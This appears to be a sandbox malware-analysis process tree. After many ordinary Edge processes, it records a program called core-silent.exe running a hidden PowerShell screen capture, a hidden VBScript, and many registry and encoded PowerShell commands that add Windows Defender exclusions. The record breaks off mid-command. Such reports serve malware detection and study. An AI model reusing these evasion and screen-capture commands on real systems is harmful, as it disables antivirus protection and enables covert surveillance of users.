  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=3552,i,17922557829238613339,962759108681655620,2097152 --field-trial-handle=2280,i,12223914624280047222,16259994942149008359,262144 --variations-seed-version --mojo-platform-channel-handle=3948 /prefetch:1
  2⤵
  PID:2796
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5160,i,9117772700844562375,2631597468002896210,524288 --field-trial-handle=2280,i,12223914624280047222,16259994942149008359,262144 --variations-seed-version --mojo-platform-channel-handle=5152 /prefetch:8
  2⤵
  PID:4340
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5156,i,15591753174602048216,15183726506390889603,524288 --field-trial-handle=2280,i,12223914624280047222,16259994942149008359,262144 --variations-seed-version --mojo-platform-channel-handle=5136 /prefetch:8
  2⤵
  PID:2248
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5872,i,14566521916479790262,10570351695404887461,524288 --field-trial-handle=2280,i,12223914624280047222,16259994942149008359,262144 --variations-seed-version --mojo-platform-channel-handle=5880 /prefetch:8
  2⤵
  PID:368
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5872,i,14566521916479790262,10570351695404887461,524288 --field-trial-handle=2280,i,12223914624280047222,16259994942149008359,262144 --variations-seed-version --mojo-platform-channel-handle=5880 /prefetch:8
  2⤵
  PID:3388
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=5724,i,13246935669689737842,13099338322766638656,2097152 --field-trial-handle=2280,i,12223914624280047222,16259994942149008359,262144 --variations-seed-version --mojo-platform-channel-handle=6112 /prefetch:1
  2⤵
  PID:1880
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6396,i,5649121187904887917,5739733559759816459,524288 --field-trial-handle=2280,i,12223914624280047222,16259994942149008359,262144 --variations-seed-version --mojo-platform-channel-handle=6256 /prefetch:8
  2⤵
  PID:1484
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --metrics-shmem-handle=6520,i,14030273732089288391,7974680445155454967,2097152 --field-trial-handle=2280,i,12223914624280047222,16259994942149008359,262144 --variations-seed-version --mojo-platform-channel-handle=6576 /prefetch:1
  2⤵
  PID:5316
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --metrics-shmem-handle=3520,i,7860937422844433877,12177204337761022208,2097152 --field-trial-handle=2280,i,12223914624280047222,16259994942149008359,262144 --variations-seed-version --mojo-platform-channel-handle=3816 /prefetch:1
  2⤵
  PID:2328
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --metrics-shmem-handle=3780,i,13249836486096569526,4926141932752363914,2097152 --field-trial-handle=2280,i,12223914624280047222,16259994942149008359,262144 --variations-seed-version --mojo-platform-channel-handle=6836 /prefetch:1
  2⤵
  PID:3996
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --always-read-main-dll --metrics-shmem-handle=5992,i,4103769616868551623,12916525600953833899,2097152 --field-trial-handle=2280,i,12223914624280047222,16259994942149008359,262144 --variations-seed-version --mojo-platform-channel-handle=5996 /prefetch:1
  2⤵
  PID:5840
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --always-read-main-dll --metrics-shmem-handle=6468,i,17804928690067976776,16656842151956873661,2097152 --field-trial-handle=2280,i,12223914624280047222,16259994942149008359,262144 --variations-seed-version --mojo-platform-channel-handle=6464 /prefetch:1
  2⤵
  PID:5368
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --always-read-main-dll --metrics-shmem-handle=6904,i,12570794153780192575,2322122556669210475,2097152 --field-trial-handle=2280,i,12223914624280047222,16259994942149008359,262144 --variations-seed-version --mojo-platform-channel-handle=6876 /prefetch:1
  2⤵
  PID:2372
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --always-read-main-dll --metrics-shmem-handle=7092,i,17224688559733308830,1306301617594429622,2097152 --field-trial-handle=2280,i,12223914624280047222,16259994942149008359,262144 --variations-seed-version --mojo-platform-channel-handle=7116 /prefetch:1
  2⤵
  PID:416
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=560,i,2611624395030347094,9934650403084752686,524288 --field-trial-handle=2280,i,12223914624280047222,16259994942149008359,262144 --variations-seed-version --mojo-platform-channel-handle=7268 /prefetch:8
  2⤵
  PID:5236
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7352,i,5911579356375571471,6959949621356470718,524288 --field-trial-handle=2280,i,12223914624280047222,16259994942149008359,262144 --variations-seed-version --mojo-platform-channel-handle=7460 /prefetch:8
  2⤵
  PID:5496
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7384,i,4446386405654916361,15834791053866565600,524288 --field-trial-handle=2280,i,12223914624280047222,16259994942149008359,262144 --variations-seed-version --mojo-platform-channel-handle=7400 /prefetch:8
  2⤵
  PID:5184
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --always-read-main-dll --metrics-shmem-handle=7520,i,1135452659800835741,9667678307768638990,2097152 --field-trial-handle=2280,i,12223914624280047222,16259994942149008359,262144 --variations-seed-version --mojo-platform-channel-handle=7396 /prefetch:1
  2⤵
  PID:1052
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --always-read-main-dll --metrics-shmem-handle=7264,i,11792916614790893118,13118706829805769403,2097152 --field-trial-handle=2280,i,12223914624280047222,16259994942149008359,262144 --variations-seed-version --mojo-platform-channel-handle=7308 /prefetch:1
  2⤵
  PID:4648
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --always-read-main-dll --metrics-shmem-handle=4080,i,12705238566668492224,2016054789881014326,2097152 --field-trial-handle=2280,i,12223914624280047222,16259994942149008359,262144 --variations-seed-version --mojo-platform-channel-handle=7584 /prefetch:1
  2⤵
  PID:4632
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7632,i,1185660136452750931,12943150113637122370,524288 --field-trial-handle=2280,i,12223914624280047222,16259994942149008359,262144 --variations-seed-version --mojo-platform-channel-handle=2028 /prefetch:8
  2⤵
  PID:432
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --always-read-main-dll --metrics-shmem-handle=560,i,2932727649903413912,8035584216072760838,2097152 --field-trial-handle=2280,i,12223914624280047222,16259994942149008359,262144 --variations-seed-version --mojo-platform-channel-handle=7472 /prefetch:1
  2⤵
  PID:2612
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7264,i,56117413220056214,12925708860639458078,524288 --field-trial-handle=2280,i,12223914624280047222,16259994942149008359,262144 --variations-seed-version --mojo-platform-channel-handle=8212 /prefetch:8
  2⤵
  PID:3636
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7108,i,16637973820135011868,11730801338485125227,524288 --field-trial-handle=2280,i,12223914624280047222,16259994942149008359,262144 --variations-seed-version --mojo-platform-channel-handle=6180 /prefetch:8
  2⤵
  PID:2072
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=33 --always-read-main-dll --metrics-shmem-handle=7188,i,6787963819504773540,16511551224092473830,2097152 --field-trial-handle=2280,i,12223914624280047222,16259994942149008359,262144 --variations-seed-version --mojo-platform-channel-handle=7572 /prefetch:1
  2⤵
  PID:3436

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:2868

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:372

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4996

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\core-release\bin\How To Setup.txt
1⤵
PID:4948

C:\Users\Admin\Desktop\core-release\bin\core-silent.exe
"C:\Users\Admin\Desktop\core-release\bin\core-silent.exe"
1⤵
PID:3328
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "ps -p 3292 -o comm=,ppid="
  2⤵
  - Executes a command shell one-liner
  PID:5304
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  PID:4632
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:368
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:5636
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Personal"
  2⤵
  - Executes a command shell one-liner
  PID:3028
- - C:\Windows\system32\reg.exe
    reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Personal
    3⤵
    PID:5932
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\svcrun_25abe5.png\"); $g.Dispose(); $bmp.Dispose()""
  2⤵
  - Hide Artifacts: Hidden Window
  PID:4968
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\svcrun_25abe5.png\"); $g.Dispose(); $bmp.Dispose()"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3764
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  PID:3836
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:4380
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:3572
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\mssetup_ce74b4.vbs""
  2⤵
  - Executes a command shell one-liner
  PID:4480
- - C:\Windows\system32\wscript.exe
    wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\mssetup_ce74b4.vbs"
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    PID:5444
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Desktop\core-release\bin\core-silent.exe" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  PID:5472
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Desktop\core-release\bin\core-silent.exe" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:1788
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Desktop\core-release\bin\core-silent.exe" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  PID:4304
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Desktop\core-release\bin\core-silent.exe" /t REG_DWORD /d 0 /f
    3⤵
    PID:5092
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Cache\artifacts\mshbqfpt73a4" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  PID:3336
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Cache\artifacts\mshbqfpt73a4" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:4800
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Cache\artifacts\mshbqfpt73a4" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  PID:1056
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Cache\artifacts\mshbqfpt73a4" /t REG_DWORD /d 0 /f
    3⤵
    PID:4996
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Cache\artifacts" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  PID:1404
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Cache\artifacts" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:5208
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Cache\artifacts" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  PID:4848
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Cache\artifacts" /t REG_DWORD /d 0 /f
    3⤵
    PID:5180
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Cache\artifacts\mshbqfpt73a4\vcredist_runtime.exe" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  PID:2652
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Cache\artifacts\mshbqfpt73a4\vcredist_runtime.exe" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:628
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Cache\artifacts\mshbqfpt73a4\vcredist_runtime.exe" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  PID:4476
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Cache\artifacts\mshbqfpt73a4\vcredist_runtime.exe" /t REG_DWORD /d 0 /f
    3⤵
    PID:3140
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Cache\artifacts\mshbqfpt73a4\bootstrap_48a9.exe" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  PID:4212
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Cache\artifacts\mshbqfpt73a4\bootstrap_48a9.exe" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:1692
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Cache\artifacts\mshbqfpt73a4\bootstrap_48a9.exe" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  PID:5612
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Cache\artifacts\mshbqfpt73a4\bootstrap_48a9.exe" /t REG_DWORD /d 0 /f
    3⤵
    PID:456
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".exe" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  PID:4660
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".exe" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:2676
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".tmp" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  PID:5332
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".tmp" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:1656
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "vcredist_runtime.exe" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  PID:548
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "vcredist_runtime.exe" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:3692
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "vcredist_runtime.exe" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  PID:4140
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "vcredist_runtime.exe" /t REG_DWORD /d 0 /f
    3⤵
    PID:4648
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "bootstrap_48a9.exe" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  PID:3220
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "bootstrap_48a9.exe" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:5724
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "bootstrap_48a9.exe" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  PID:3964
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "bootstrap_48a9.exe" /t REG_DWORD /d 0 /f
    3⤵
    PID:3652
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwARABlAHMAawB0AG8AcABcAGMAbwByAGUALQByAGUAbABlAGEAcwBlAFwAYgBpAG4AXABjAG8AcgBlAC0AcwBpAGwAZQBuAHQALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAQwBhAGMAaABlAFwAYQByAHQAaQBmAGEAYwB0AHMAXABtAHMAaABiAHEAZgBwAHQANwAzAGEANAAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAQwBhAGMAaABlAFwAY